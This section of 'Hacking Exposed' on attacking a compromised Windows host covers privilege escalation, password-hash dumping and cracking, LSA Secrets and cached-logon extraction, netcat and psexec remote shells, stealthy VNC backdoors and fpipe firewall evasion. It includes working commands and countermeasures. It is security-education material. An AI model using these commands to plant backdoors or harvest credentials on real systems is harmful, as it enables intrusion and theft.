Hacking Exposed 5th Edition

So far we've illustrated the most commonly used tools and techniques for obtaining some level of access to a Windows system. These mechanisms typically result in varying degrees of privilege on the target system, from Guest to SYSTEM. Regardless of the degree of privilege attained, however, the first conquest in any Windows environment is typically only the beginning of a much longer campaign. This section details how the rest of the war is waged once the first system falls , and the initial battle is won.

Privilege Escalation

Once attackers have obtained a user account on a Windows system, they will set their eyes immediately on obtaining Administrator or SYSTEM-equivalent privileges. One of the all-time greatest hacks of Windows was the so-called getadmin family of exploits (see http://www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=9231). getadmin was the first serious privilege escalation attack against Windows NT4, and although that specific attack has been patched (post NT4 SP3), the basic technique by which it works, DLL injection, lives on and is still used effectively today against Windows 2000 and beyond in other tools that we'll discuss later in this chapter.

The power of getadmin was muted somewhat by the fact that it must be run locally on the target system, as are most privilege-escalation attacks. Because most users cannot log on locally to a Windows server by default, it is really only useful to rogue members of the various built-in Operators groups (Account, Backup, Server, and so on) and the default Internet server account, IUSR_ machinename, who have this privilege. If malicious individuals have this degree of privilege on your server already, getadmin isn't going to make things much worse . They already have access to just about anything else they'd want.

Unfortunately, more recent versions of Windows have not proven more robust than past iterations when it comes to resisting privilege-escalation attacks. Some of the most serious historical examples include the following:

Even though these vulnerabilities and related exploits are patched, they illustrate that Microsoft has had a difficult time preventing interactively logged-on accounts from escalating privileges. Even worse, interactive logon has become much more widespread as Windows Terminal Server has assumed the mantle of remote management and distributed processing workhorse. Finally, it is important to consider that the most important vector for privilege escalation for Internet client systems is web browsing and email processing, but we'll cover that topic in much more detail in Chapter 13.

Note 

We'll also discuss the classic supra-system privilege escalation exploit LSADump later in this chapter.

Finally, we should note that obtaining Administrator status is not technically the highest privilege one can obtain on a Windows machine. The SYSTEM account (also known as the Local System, or NT AUTHORITY\SYSTEM account) actually accrues more privilege than Administrator. However, there are a few common tricks to allow administrators to attain SYSTEM privileges quite easily. One is to open a command shell using the Windows Scheduler service as follows :

C:\>at 14:53 /INTERACTIVE cmd.exe

Or you could use the free psexec tool from http://www.Sysinternals.com, which will even allow you to run as SYSTEM remotely.

Preventing Privilege Escalation

First of all, maintain appropriate patch levels for your Windows systems. Exploits like getadmin and PipeUpAdmin take advantage of flaws in the core OS, and won't be completely mitigated until those flaws are fixed at the code level. In our discussion of each of the privilege escalation vulnerabilities, we've listed all relevant Microsoft security bulletins.

Of course, interactive logon privileges should be severely restricted for any system that houses sensitive data, because exploits such as these become much easier once this critical foothold is gained . To check interactive logon rights under Windows 2000 and later, run the Security Policy applet (either Local or Group ), find the Local Policies\User Rights Assignment node, and check how the Log On Locally right is populated .

New in Windows 2000 and later, many such privileges now have counterparts that allow specific groups or users to be excluded from rights. In this example, you could use the Deny Logon Locally right, as shown here:

Pilfering

Once Administrator-equivalent status has been obtained, attackers typically shift their attention to grabbing as much information as possible that can be leveraged for further system conquests. We call this process pilfering.

"What's the point of reading on if someone has already gained Administrator on my machine?" you may be asking. Unless you feel like wiping your precious server clean and reinstalling from original media, you'll have to try and identify what specifically has been compromised. More important, attackers with Administrator-equivalent credentials may have only happened upon a minor player in the overall structure of your network and may wish to install additional tools to spread their influence. Stopping intruders at this juncture is possible and critical. This section details some key tools and techniques deployed in this very important endgame played by malicious hackers.

Grabbing the Password Hashes

Popularity:

8

Simplicity:

10

Impact:

10

Risk Rating:

9

Having gained Administrator equivalence, attackers will most likely make a beeline to the system password hashes. These are stored in the Windows Security Accounts Manager (SAM) under NT4 and earlier, and in the Active Directory on Windows 2000 and greater domain controllers (DCs). The SAM contains the usernames and hashed passwords of all users on the local system, or the domain if the machine in question is a domain controller. It is the coup de grace of Windows system hacking, the counterpart of the /etc/passwd file from the UNIX world. Even if the SAM in question comes from a stand-alone Windows system, chances are that cracking it will reveal credentials that grant access to a domain controller thanks to the widespread reuse of passwords by typical users. Thus, cracking the SAM is also one of the most powerful tools for privilege escalation and trust exploitation.

Obtaining the Hashes The first step in any password-cracking exercise is to obtain the password hashes. Depending on the version of Windows in play, this can be achieved in a number of ways.

NT4 and earlier stores password hashes in a file called (would you believe it?) "SAM" in the %systemroot%\system32\config directory, which is locked as long as the OS is running. The SAM file is one of the five major hives of the Windows Registry, representing the physical storehouse of the data specified in the Registry key HKEY_LOCAL_MACHINE\ SAM. This key is not available for casual perusal, even by the Administrator account (however, with a bit of trickery and the Scheduler service, it can be done). The one exception to this rule is on Windows 2000 and greater domain controllers, where password hashes are kept in the Active Directory (%windir%\WindowsDS\ntds.dit). With the default set of installed objects, this file approaches 10MB, and it is in a cryptic format, so attackers are unlikely to remove it for offline analysis. On non-domain controllers, the SAM file is still stored pretty much as it was under NT4.

Now that we know where the goodies are stored, how do we get at them? There are four basic ways of getting at the Windows password hashes:

Booting to DOS and grabbing the SAM is possibleeven against NTFSby using the venerable NTFSDOS utility from http://www.sysinternals.com. We also recommend the Microsoft Windows Preinstallation Environment (WinPE), if it is available to your organization by terms of Microsoft's licensing (see http://www.microsoft.com/licensing/programs/sa/support/winpe.mspx). WinPE allows you to boot to an XP-like environment from a CD-ROM.

The backup NT4 SAM file can be found in \%systemroot%\repair\SAM._, and this file contains all the user hashes current to the last usage of the Repair Disk Utility (rdisk). In Windows 2000 and greater, the Microsoft Backup application (ntbackup.exe) takes over the Create Emergency Repair Disk function, and password hashes are backed up to the %windir%\repair\RegBack folder. Attacks against this backup SAM are useless because this file is SYSKEY-ed, and mechanisms for decrypting a SYSKEY-ed file (as opposed to pwdump2-ing a live SAM) have not been released into the wild.

We covered sniffing Windows authentication in "Eavesdropping on Network Password Exchange" earlier in this chapter, so that leaves only extracting the password hashes directly from the SAM or Active Directory, which we talk about next .

Extracting the Hashes with pwdumpX With Administrator access, password hashes can easily be dumped directly from the Registry into a UNIX /etc/passwd-like format. The original utility for accomplishing this is called pwdump, from Jeremy Allison. Source code and Windows binaries can be found in many Internet archives. Newer versions of L0phtcrack have a built-in pwdump-like feature. However, neither pwdump nor L0phtcrack's utility can circumvent the SYSKEY-enhanced SAM file-encryption feature that appeared in NT4 Service Pack 2 (see "Password-Cracking Countermeasures," a bit later in this chapter). SYSKEY is now the default configuration for Windows 2000 (see Microsoft KB Article Q143475 for more information about SYSKEY). Therefore, the pwdump tool cannot properly extract password hashes from the Registry on out-of-the-box Windows 2000 server products. A more powerful tool is required to perform this task.

A meaner version of pwdump, written by Todd Sabin, called pwdump2 and available from http://razor.bindview.com, circumvents SYSKEY. Basically, pwdump2 uses DLL injection (see the previous discussion on the getadmin exploit) to load its own code into the process space of another, highly privileged process. Once loaded into the highly privileged process, the rogue code is free to make an internal API call that accesses the SYSKEY-encrypted passwordswithout having to decrypt them.

Unlike pwdump, pwdump2 must be launched interactively. Administrator privilege is still required, and the samdump.dll library must be available (it comes with pwdump2).

The privileged process targeted by pwdump2 is lsass.exe, the Local Security Authority Subsystem (LSASS). The utility injects its own code into LSASS's address space and user context. An updated pwdump2 performs enumeration of the LSASS PID automatically, so manual enumeration of the LSASS process ID (PID) is unnecessary (if your version of pwdump asks you to do this, you've got an outdated copy). Furthermore, the updated version of pwdump2 is required to dump hashes locally from domain controllers because they rely on Active Directory to store password hashes rather than the traditional SAM.

ebusiness technology, inc., released pwdump3e (http://www.securityfocus.com/ tools/1964), a modified version of Todd Sabin's original pwdump2 tool. pwdump3e installs the samdump DLL as a service in order to extract hashes remotely via SMB (TCP 139 or 445). pwdump3e will not work against the local system.

Note 

L0phtcrack version 4 is now capable of extracting hashes from SYSKEY-ed SAMs and the Active Directory but still works only remotely on non-SYSKEY-ed systems.

pwdumpX Countermeasures

As long as DLL injection still works on Windows, there is no defense against pwdump2 or pwdump3e. Take some solace that pwdumpX requires Administrator-equivalent privileges to run. If attackers have already gained this advantage, there is little else they can accomplish on the local system that they probably haven't already done (using captured password hashes to attack trusted systems is another matter, however, as you will see next).

Cracking Passwords

Popularity:

8

Simplicity:

10

Impact:

10

Risk Rating:

9

So now our intrepid intruder has your password hashes in his grimy little hands. But wait a secall those crypto books we've read remind us that hashing is the process of one-way encipherment. If these password hashes were created with any halfway-decent algorithm, it should be impossible to derive the cleartext passwords from them.

Alas, in a key concession to backward compatibility, Microsoft hamstrung the security of password hashes by using a hashing algorithm left over from Windows's IBM LAN Manager roots. Although the newer and stronger NTLM algorithm has been available for years , the operating system continues to store the older LanMan (LM) hash along with the new to maintain compatibility with Windows 9 x and Windows for Workgroups clients. The LM hash is still stored by default on Windows 2000 and greater to provide backward compatibility with non-Windows clients . The weaker LM hashing algorithm has been reverse-engineered and thus serves as the Achilles heel that allows cleartext passwords to be derived from password hashes fairly trivially in most instances, depending on the password composition. The process of deriving the cleartext passwords from hashes is called password cracking, or often just cracking.

Password cracking may seem like black magic, but in reality it is little more than fast, sophisticated password guessing. Once the hashing algorithm is known, it can be used to compute the hash for a list of possible password values (say, all the words in the English dictionary) and compare the results with a user's actual hashed password. If a match is found, the password has successfully been guessed, or "cracked." This process is usually performed offline against captured password hashes so that account lockout is not an issue and guessing can continue indefinitely. Bulk enciphering is quite processor intensive , but as we've discussed, known weaknesses such as the LanMan hashing algorithm significantly speed up this process for most passwords. Therefore, revealing the passwords is simply a matter of CPU time and dictionary size .

In fact, you've already seen in this chapter one of the most popular tools for cracking SAM files to reveal the passwords: L0phtcrack, which is advertised as having cracked 90 percent of passwords at a large technology company with a robust password policy within 48 hours on a Pentium II/300. The graphical version of L0phtcrack is available from @stake at http://www.atstake.com/research/lc/index.html starting at $650 for the Professional version, with the fewest features. A command-line-only version is available for free. L0phtcrack version 5 is the latest incarnation of the password-cracking tool as of this writing, although some of our comments below will refer to version 4 due to similarities between the two.

As we've discussed, L0phtcrack can import the SAM data from many sources: from the local Registry, a remote Registry (if not SYSKEY-ed), raw SAM files, NT4 sam._ backup files, by sniffing password hashes off the network, from L0phtcrack files (.lc and .lcs), and from pwdumpX output files.

Once you've imported the hashes, you need to select session options under the Session Session Options File menu. Here, you can select whether to perform a dictionary, brute-force, or hybrid crack, as shown in Figure 4-8.

Figure 4-8: L0phtcrack's session options selection window

The dictionary crack is the simplest of cracking approaches. It takes a list of terms and hashes them one by one, comparing them with the list of hashes as it goes. Although this comparison is very fast, it will find only those passwords that are contained in the dictionary supplied by the attacker.

Tip 

Don't use the dictionary of English words included with LC. We've found more than a few words lacking from this list. See http:// coast .cs.purdue.edu/pub/dict for sample cracking dictionaries and wordlists.

Enabling Brute Force Crack specifies guessing random strings generated from the desired character set and can add considerable time to the cracking effort. L0phtcrack tries the dictionary words first, however, and crack efforts can be restarted later at the same point, so this is not really an issue. A happy medium between brute-force and dictionary cracking can be had with the Dictionary/Brute Hybrid Crack feature, which appends letters and numbers to dictionary words, a common technique among lazy users who choose "password123" for lack of a more imaginative combination.

Finally, in this window you can opt to perform a distributed crack, which sounds really fancy but actually amounts to LC4 dividing up the password hashes into as many files as you specify in the "Part X of X" windows at the bottom of Figure 4-8. You can then choose to distribute these files to different machines to be cracked independently.

Also under the Session menu, you may choose whether to attempt to crack the LM hash or the NTLM hash. Because LM hash cracking is so much faster, you should always try this first.

Once you've selected your options, simply choose Session Begin Audit, and L0phtcrack sets to work. With most hashes we've harvested from large corporations in our consulting travels , null passwords and dictionary words are revealed instantly, as shown in the LM Password column in Figure 4-9. This illustration also highlights the ease with which LanMan hashes are guessed. They are the first to fall, rendering the stronger Windows hash algorithm ineffective . Even with those that are not guessed instantaneously, such as the passwords for the users "einhorn" and "finkle," the idiosyncrasies of the LanMan algorithm make it easy to guess the eighth and first seven characters of the passwords, respectively. einhorn and finkle's passwords will likely fall with more intensive cracking (we've performed only a dictionary crack at this point in Figure 4-9).

Figure 4-9: L0phtcrack at work cracking passwords. The weaker LanMan passwords are more easily guessed, eliminating the need to guess the more heavily enciphered NTLM passwords.

Snapshots of password-cracking efforts are saved as files with an .lcs extension, so L0phtcrack can be stopped and restarted again at the same point later using the File Open Session option.

The graphical L0phtcrack is the best Windows password file cracking tool on the market in terms of raw power and ease of use, but the simple graphical interface has one disadvantage : It can't be scripted. An outdated command-line version of L0phtcrack (version 1.5) is available within the source code distribution on L0pht's site (it's called lc_cli.exe), but other powerful command-line crackers are available. Our favorite is John the Ripper, a dictionary-only cracker written by Solar Designer and available at http://www.openwall.com/john. It is a command-line tool designed to crack both UNIX and Windows LanMan passwords. Besides being cross-platform compatible and capable of cracking several different encryption algorithms, John is also extremely fast and free. Its many options steepen the learning curve compared with L0phtcrack, however. Additionally, because John cracks only LanMan hashes, the resulting passwords are case insensitive and may not represent the real mixed-case passwords.

More recently, cracking has evolved toward the use of precomputed hash tables to greatly reduce the time necessary to generate hashes for comparison. More specifically, in 2003, Philippe Oechslin published a paper (leveraging work from 1980 by Hellman and improved upon by legendary cryptographer Rivest in 1982) that described a cryptanalytic time-memory trade-off technique that allowed him to crack 99.9 percent of all alphanumerical LanManager passwords hashes (2^37) in 13.6 seconds. Project Rainbow crack was one of the first tools to implement such an approach (see http://www.antsight.com/zsl/rainbowcrack), and now L0phtcrack version 5 supports precomputed hash tables as well. If you really want to save time, you can also purchase a precomputed LanManager hash table covering the alphanumeric -symbol 14-space from Project Rainbow crack for $120, and the 24GB of data will be mailed to you via FedEx on six DVDs.

Password-Cracking Countermeasures

The best defense against password cracking is decidedly nontechnical, but nevertheless is probably the most difficult to implement: picking good passwords. Picking dictionary words or writing passwords under keyboards on a sticky note will forever be the bane of administrators, but perhaps the following explanation of some of the inherent weaknesses in Windows's password-obfuscation algorithms will light some fires under the toes of your user community.

We've previously discussed Windows' reliance on two separately hashed versions of a user's passwordthe LanMan version (LM hash) and the Windows version (Windows hash), both of which are stored in the SAM. As we will explain, the LM hash is created by a technique that is inherently flawed. (Don't blame Microsoft for this onethe LanMan algorithm was first developed by IBM.)

The most critical weakness of the LM hash is its separation of passwords into two seven-character halves. Thus, an eight-character password can be interpreted as a sevencharacter password and a one-character password. Tools such as L0phtcrack take advantage of this weak design to simultaneously crack both halves as if they were separate passwords. Let's take, for example, a 12-character Passfilt-compliant password, 123456Qwerty. When this password is encrypted with the LanMan algorithm, it is first converted to all uppercase characters: 123456QWERTY. The password is then padded with null (blank) characters to make it 14 characters in length "123456QWERTY." Before encrypting this password, the 14-character string is split in halfleaving 123456Q and WERTY. Each string is then individually encrypted, and the results are concatenated. The encrypted value for 123456Q is 6BF11E04AFAB197F, and the value for WERTY-is 1E9FFDCC75575B15. The concatenated hash becomes 6BF11E04AFAB197 F1E9FFDCC75575B15.

The first half of the hash contains a mix of alphanumeric charactersit may take up to 24 hours to decrypt this half of the password using the Brute Force Attack option of L0phtcrack (depending on the computer processor used). The second half of the hash contains only five alpha characters and can be cracked in fewer than 60 seconds on a Pentium-class machine.

As each password half is cracked, it is displayed by L0phtcrack. With this, it is now possible to make some educated guesses as to the first half of the password: the WERTY pattern that emerges suggests that the user has selected a password made up of consecutive keys on the keyboard. Following this thought leads us to consider other possible consecutive-key password choices such as QWERTYQWERTY, POIUYTQWERTY, ASDFGHQWERTY, YTREWQQWERTY, and finally, 123456QWERTY. These words can be keyed to a custom dictionary for use by L0phtcrack, and a new cracking session can be started using the custom dictionary.

This exercise shows how a seemingly tough password can be guessed in relatively short order using clues from the easily cracked second half of the LM hash. Therefore, a 12or 13-character password is generally less secure than a seven-character password because it may contain clues that will aid attackers in guessing the first half of the password (as in our example). An eight-character password does not give up as much information; however, it is still potentially less secure than a seven-character password.

To ensure password composition that does not fall prey to this kind of attack, choose passwords that are exactly seven or 14 characters in length. (A 14-character password minimum length may cause users to write down their passwords; therefore, a sevencharacter length may be more appropriate.)

To really confound L0pht-happy crackers, place a nonprintable ASCII character in each half of the password. Nonprintable ASCII characters such as (NUM LOCK) ALT255 or (NUM LOCK) ALT-129 do not appear while being viewed with L0phtcrack. Of course, day-to-day login with these passwords can be somewhat cumbersome because of the additional keystrokes and is probably not worthwhile for nonprivileged users. Administrative accounts and service accounts that log under the context of user's accounts are a different matter, however. For them, use of nonprintable ASCII characters should be standard.

Don't forget to enforce minimum password-complexity requirements with Passfilt, as discussed in "Password-Guessing Countermeasures," earlier in this chapter.

Tip 

In Windows XP and Windows Server 2003, storage of the LM hash can be disabled using the Security Policy setting Network Security: Do Not Store LAN Manager Hash Value On Next Passwords Change. Although this setting may cause backward compatibility problems in mixed Windows environments, we strongly recommend it.

LSADump

Popularity:

8

Simplicity:

10

Impact:

10

Risk Rating:

9

The LSA Secrets feature is one of the most insidious examples of the danger of leaving logon credentials for external systems unencrypted. Windows does keep such credentials around, along with some other juicy data. This sensitive information is stored in a trove called the Local Security Authority (LSA) Secrets, available under the Registry subkey of HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. The LSA Secrets include the following items:

Obviously, service account passwords that run under domain user privileges, last user login, workstation domain access passwords, and so on, can all give an attacker a stronger foothold in the domain structure.

For example, imagine a stand-alone server running Microsoft SMS or SQL services that run under the context of a domain user. If this server has a blank local Administrator password, then LSA Secrets could be used to gain the domain-level user account and password. This vulnerability could also lead to the compromise of a multimaster domain configuration. If a resource domain server has a service executing in the context of a user account from the master domain, a compromise of the server in the resource domain could allow our malicious interloper to obtain credentials in the master domain.

Also consider the all-too-common "laptop loaner pool." Corporate executives check out a Windows laptop for use on the road. While on the road, they use Dial-up Networking (RAS) either to connect to their corporate network or to connect to their private ISP account. Being the security-minded people they are, they do not check the Save Password box. Unfortunately, Windows still stores the username, phone number, and password deep in the Registry.

Source code Paul Ashton posted to the NTBugtraq mailing list (http://www.ntbugtraq.com) in 1997 would display the LSA Secrets to administrators logged on locally. Binaries based on this source were not widely distributed. An updated version of this code, called lsadump2, is available at http://razor.bindview.com/tools.lsadump2 uses the same technique as pwdump2 (DLL injection) to bypass all operating system security. lsadump2 automatically finds the PID of LSASS, injects itself, and grabs the LSA Secrets, as shown here (line wrapped and edited for brevity):

C:\>lsadump2 $MACHINE.ACC 6E 00 76 00 76 00 68 00 68 00 5A 00 30 00 41 00 n.v.v.h.h.Z.0.A. 66 00 68 00 50 00 6C 00 41 00 73 00 f.h.P.l.A.s. _SC_MSSQLServer 32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 .p.a.s.s.w.o.r.d. _SC_SQLServerAgent 32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 p.a.s.s.w.o.r.d.

We can see the machine account password for the domain and two SQL service account-related passwords among the LSA Secrets for this system. It doesn't take much imagination to discover that large Windows networks can be toppled quickly through this kind of password enumeration.

LSA Secrets Countermeasures

Unfortunately, Microsoft does not find the revelation of this data that critical, stating that Administrator access to such information is possible "by design" in Microsoft KB Article ID Q184017, which describes the availability of an initial LSA hotfix . This fix further encrypts the storage of service account passwords, cached domain logons , and workstation passwords using SYSKEY-style encryption. Of course, lsadump2 simply circumvents it using DLL injection.

Therefore, the best defense against lsadump2 is to avoid getting Admin-ed in the first place. It is also wise to be very careful about the use of service accounts and domain trusts. At all costs, avoid using highly privileged domain accounts to start services on local machines!

The cached RAS credentials portion of the LSA Secrets has been fixed in NT4 SP6a. (It was originally fixed in a post-SP5 hotfix from Microsoft, available from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/Hotfixes-PostSP5/RASPassword-fix.) More information is available from Microsoft KB Article ID Q230681.

Previous Logon Cache Dump

Popularity:

8

Simplicity:

7

Impact:

9

Risk Rating:

8

Windows also caches the credentials of users who have previously logged in. By default, the last ten logons are cached in this fashion. Utilizing these credentials is not as straightforward as the cleartext extraction provided by LSADump, however, since the passwords are stored in hashed form and further encrypted with a machine-specific key. The encrypted cached hashes (try saying that ten times fast!) are stored under the Registry key HKLM\SECURITY\CACHE\NL$ n , where n represents a numeric value from 1 to 10 corresponding to the last ten cached logons.

Of course, no secret is safe to Administrator or SYSTEM-equivalent privileges, as illustrated by Arnaud Pilon's CacheDump tool (see http://www.cr0.net:8040/misc/cachedump.html). CacheDump automates the extraction of the previous logon cache hashes. The hashes must, of course, be subsequently cracked to reveal the cleartext passwords (updated tools for performing "pass the hash," or directly reusing the hashed password as a credential rather than decrypting it, have not been published for some time). Any of the Windows password-cracking tools we've discussed in this chapter, including L0phtcrack and John the Ripper, can perform this task. One other tool we haven't mentioned yet, cachebf, will directly crack output from CacheDump. You can find cachebf at http://www.toolcrypt.org/tools/cachebf/index.html.

As you might imagine, these credentials can be quite useful to attackerswe've had our eyes opened more than once at what lies in the logon caches of even the most nondescript corporate desktop PC. Who wants to be Domain Admin today?

Previous Logon Cache Dump Countermeasures

Like LSADump, tools like CacheDump work only with Administrator or SYSTEMequivalent privileges (CacheDump temporarily instantiates its own Windows service to get its work done). By enforcing sensible policies about who gains administrative access to systems in your organization, you can rest easier. Of course, if an attacker exploits a security hole to gain such privilege, you're still toast . Go back and reread this chapter to avoid falling victim.

You can also eliminate the logon caching feature by setting the Registry key HKLM\ Software\Microsoft\Windows NT\CurrentVersion\Winlogon to zero (see http://support.microsoft.com/?kbid=172931). Beware that this will prevent mobile users from logging on when a domain controller is not accessible.

Remote Control and Back Doors

We've talked a lot about Windows's lack of remote command execution but haven't given the whole story until now. Once Administrator access has been achieved, a plethora of possibilities opens up.

Command-line Remote Control Tools

Popularity:

9

Simplicity:

8

Impact:

9

Risk Rating:

9

One of the easiest remote control back doors to set up uses netcat, the "TCP/IP Swiss army knife " (see http://www.atstake.com/research/tools/index.html). netcat can be configured to listen on a certain port and launch an executable when a remote system connects to that port. By triggering a netcat listener to launch a Windows command shell, this shell can be popped back to a remote system. The syntax for launching netcat in a stealth listening mode is shown here:

C:\TEMP\NC11Windows>nc -L -d -e cmd.exe -p 8080

The -L makes the listener persistent across multiple connection breaks; -d runs netcat in stealth mode (with no interactive console); and -e specifies the program to launch (in this case, cmd.exe, the Windows command interpreter). Finally, -p specifies the port to listen on. This will return a remote command shell to any intruder connecting to port 8080.

In the next sequence, we use netcat on a remote system to connect to the listening port on the machine shown earlier (IP address 192.168.202.44) and receive a remote command shell. To reduce confusion, we have again set the local system command prompt to "D:\>" while the remote prompt is "C:\TEMP\NC11Windows>."

D:\> nc 192.168.202.44 8080 Microsoft(R) Windows(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\TEMP\NC11Windows> C:\TEMP\NC11Windows>ipconfig ipconfig Windows IP Configuration Ethernet adapter FEM5561: IP Address. . . . . . . . . : 192.168.202.44 Subnet Mask . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . : C:\TEMP\NC11Windows>exit

As you can see, remote users can now execute commands and launch files. They are limited only by how creative they can get with the Windows console.

Netcat works well when you need a custom port over which to work, but if you have access to SMB (TCP 139 or 445), the best tool to use is psexec, from http://www.sysinternals.com.psexec simply executes a command on the remote machine using the following syntax:

C:\>psexec \ server-name-or-ip -u admin_username -p admin_password command

Here's an example of a typical command:

C:\>psexec \10.1.1.1 -u Administrator -p password -s cmd.exe

It doesn't get any easier than that. We used to recommend using the AT command to schedule execution of commands on remote systems, but psexec makes this process trivial as long as you have access to SMB (which the AT command requires anyway).

Graphical Remote Control

Popularity:

10

Simplicity:

10

Impact:

10

Risk Rating:

10

A remote command shell is great, but Windows is so graphical that a remote GUI would be truly a masterstroke. If you have access to Terminal Services ( optionally installed on Windows 2000 and greater), you may already have access to the best remote control the Windows has to offer. Check whether TCP port 3389 is listening on the remote victim server and use any valid credentials harvested in earlier attacks to authenticate.

If TS isn't available, well, you may just have to install your own graphical remote control tool. The free and excellent Virtual Network Computing (VNC) tool, from AT&T Research Laboratories (Cambridge, England), is the venerable choice in this regard (see http://www.realvnc.com/download.html). One reason VNC stands out (besides being free!) is that installation over a remote network connection is not much harder than installing it locally. Using the remote command shell we established previously, all that needs to be done is to install the VNC service and make a single edit to the remote Registry to ensure "stealthy" startup of the service. What follows is a simplified tutorial, but we recommend consulting the full VNC documentation at the preceding URL for more complete understanding of operating VNC from the command line.

The first step is to copy the VNC executable and necessary files (WINVNC.EXE, VNCHooks.DLL, and OMNITHREAD_RT.DLL) to the target server. Any directory will do, but it will probably be harder to detect if hidden somewhere in %systemroot%. One other consideration is that newer versions of WINVNC automatically add a small green icon to the system tray icon when the server is started. If started from the command line, versions equal or previous to 3.3.2 are more or less invisible to users interactively logged on. (WINVNC.EXE shows up in the Process List, of course.)

Once WINVNC.EXE is copied over, the VNC password needs to be set. When the WINVNC service is started, it normally presents a graphical dialog box requiring a password to be entered before it accepts incoming connections (darn security-minded developers!). Additionally, we need to tell WINVNC to listen for incoming connections, also set via the GUI. We'll just add the requisite entries directly to the remote Registry using regini.exe.

We'll have to create a file called WINVNC.INI and enter the specific Registry changes we want. Here are some sample values that were cribbed from a local install of WINVNC and dumped to a text file using the Resource Kit regdmp utility. (The binary password value shown is "secret.")

HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e

Then load these values into the remote Registry by supplying the name of the file containing the above data (WINVNC.INI) as input to the regini tool:

C:\> regini -m \192.168.202.33 winvnc.ini HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e

Finally, install WINVNC as a service and start it. The following remote command session shows the syntax for these steps (remember, this is a command shell on the remote system):

C:\> winvnc -install C:\> net start winvnc The VNC Server service is starting. The VNC Server service was started successfully.

Now we can start the vncviewer application and connect to our target. The next two illustrations show the vncviewer app set to connect to "display 0" at IP address 192.168.202.33. (The "host:display" syntax is roughly equivalent to that of the UNIX X-windowing system; all Microsoft Windows systems have a default display number of zero.) The second screenshot shows the password prompt (still remember what we set it to?).

Voil ! The remote desktop leaps to life in living color , as shown in Figure 4-10. The mouse cursor behaves just as if it were being used on the remote system.

Figure 4-10: WINVNC connected to a remote system. This is nearly equivalent to sitting at the remote computer.

VNC is obviously really powerfulyou can even send CTRL-ALT-DEL with it. The possibilities are endless.

Remote Control Countermeasures

Seeing as these tools require administrative access to install, the best countermeasure is to avoid that level of compromise in the first place. We've included some tips on removing WINVNC here for academic reasons only.

To gracefully stop the WINVNC service and remove it, the following two commands will suffice:

C:\> net stop winvnc C:\> winvnc -remove

To remove any remaining Registry keys, use the Resource Kit REG.EXE utility, as shown previously:

C:\> reg delete \192.168.202.33 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinVNC

Port Redirection

We've discussed a few command shell-based remote control programs in the context of direct remote control connections. However, consider the situation in which an intervening entity such as a firewall blocks direct access to a target system. Resourceful attackers can find their way around these obstacles using port redirection . We also discuss port redirection in Chapter 13, but we'll cover some Windows-specific tools and techniques here.

Once attackers have compromised a key target system, such as a firewall, they can use port redirection to forward all packets to a specified destination. The impact of this type of compromise is important to appreciate because it enables attackers to access any and all systems behind the firewall (or other target). Redirection works by listening on certain ports and forwarding the raw packets to a specified secondary target. Next we'll discuss some ways to set up port redirection manually using our favorite tool for this task, fpipe.

fpipe

Popularity:

5

Simplicity:

9

Impact:

10

Risk Rating:

8

Fpipe is a TCP source port forwarder/redirector from Foundstone, Inc., of which the authors are principals. It can create a TCP stream with an optional source port of the user's choice. This is useful during penetration testing for getting past firewalls that permit certain types of traffic through to internal networks.

Fpipe basically works by redirection. Start fpipe with a listening server port, a remote destination port (the port you are trying to reach inside the firewall), and the (optional) local source port number you want. When fpipe starts, it will wait for a client to connect on its listening port. When a listening connection is made, a new connection to the destination machine and port with the specified local source port will be made, thus creating a complete circuit. When the full connection has been established, fpipe forwards all the data received on its inbound connection to the remote destination port beyond the firewall and returns the reply traffic back to the initiating system. This makes setting up multiple netcat sessions look positively painful. Fpipe performs the same task transparently .

Next, we demonstrate the use of fpipe to set up redirection on a compromised system that is running a telnet server behind a firewall that blocks port 23 (telnet) but allows port 53 (DNS). Normally, we could not connect to the telnet port directly on TCP 23, but by setting up an fpipe redirector on the host pointing connections to TCP 53 toward the telnet port, we can accomplish the equivalent. Figure 4-11 shows the fpipe redirector running on the compromised host.

Figure 4-11: The fpipe redirector running on a compromised host. fpipe has been set to forward connections on port 53 to port 23 on 192.168.234.37 and is forwarding data here.

Simply connecting to port 53 on this host will shovel a telnet prompt to the attacker.

The coolest feature of fpipe is its ability to specify a source port for traffic. For penetration-testing purposes, this is often necessary to circumvent a firewall or router that permits traffic sourced only on certain ports. (For example, traffic sourced at TCP 25 can talk to the mail server.) TCP/IP normally assigns a high-numbered source port to client connections, which a firewall typically picks off in its filter. However, the firewall might let DNS traffic through (in fact, it probably will). fpipe can force the stream to always use a specific source portin this case, the DNS source port. By doing this, the firewall "sees" the stream as an allowed service and lets the stream through.

Note 

If you use fpipe's -s option to specify an outbound connection source port number and the outbound connection becomes closed, you may not be able to reestablish a connection to the remote machine between 30 seconds to four minutes or more, depending on which OS and version you are using.

General Countermeasures to Authenticated Compromise

How do you clean up the messes we just created and plug any remaining holes? Because many were created with administrative access to nearly all aspects of the Windows architecture, and most of the necessary files can be renamed and configured to work in nearly unlimited ways, the task is difficult. We offer the following general advice, covering four main areas touched in one way or another by the processes we've just described: filenames, Registry keys, processes, and ports.

Note 

We highly recommend reading Chapter 13's coverage of malware in addition to this section, because that chapter covers critical additional countermeasures for these attacks.

Caution 

Privileged compromise of any system is best dealt with by complete reinstallation of the system software from trusted media. A sophisticated attacker could potentially hide certain back doors that even experienced investigators would never find. This advice is thus provided mainly for the general knowledge of the reader and is not recommended as a complete solution to such attacks.

Filenames

This countermeasure is probably the least effective, because any intruder with half a brain will rename files or take other measures to hide them (see the upcoming section "Covering Tracks"), but it may catch some of the less creative intruders on your systems.

